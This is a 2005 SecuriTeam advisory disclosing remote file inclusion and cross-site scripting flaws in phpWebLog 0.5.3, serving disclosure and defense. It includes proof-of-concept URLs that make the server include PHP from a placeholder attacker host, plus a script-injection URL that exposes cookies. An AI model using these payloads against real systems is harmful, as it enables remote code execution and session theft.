

[UNIX] Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File Inclusion)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0073.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/17/05

To: list@securiteam.com

Date: 17 Mar 2005 10:13:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File Inclusion)

SUMMARY

<<http://phpweblog.org/>> phpWebLog is "a news and content management system written in PHP".

The phpWebLog has been found to contain multiple vulnerabilities allowing a remote attacker to initiate cross site scripting attacks and cause the inclusion and execution of external PHP scripts.

DETAILS

Vulnerable Systems:

* phpWebLog version 0.5.3 and prior

File Inclusion:

Vulnerable code in include/init.inc.php::

```
..  
include_once("$G_PATH/include/func.inc.php");  
include_once("$G_PATH/include/cache.inc.php");  
include_once("$G_PATH/include/blocks.inc.php");
```

Securiteam: [UNIX] Multiple Vulnerabilities in phpWebLog (Cross Site Scripting, File Inclusion)

```
include_once("$G_PATH/include/layout.inc.php");
include_once("$G_PATH/include/parser.inc.php");
include_once("$G_PATH/include/search.inc.php");
include_once("$G_PATH/include/comments.inc.php");
...
```

Vulnerable code in backend/addons/links/index.php:
Original links code written by Twyst (<http://anime-central.net>)
Modified for use with phpWebLog by Jason Hines
Thanks Twyst!

```
include_once($PATH . "/functions.php");
...
```

Proof of Concept:

If register_globals=on and allow_url_fopen=on the following URLs will include external PHP files that reside on the host hacker_box:

```
http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
```

```
http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/
```

Cross Site Scripting:

The search option does not sanitize the search content allowing attackers to steal information from users via cross site scripting.

Exploit:

The following URL can be used to test your system for the mentioned vulnerability:

```
http://vulnerable/search.php?query=we+%22%3E%3Cscript%3Ealert\(document.cookie\)%3C/script%3E&topic=0&lim
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:groszynskif@gmail.com>> Filip Groszynski.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.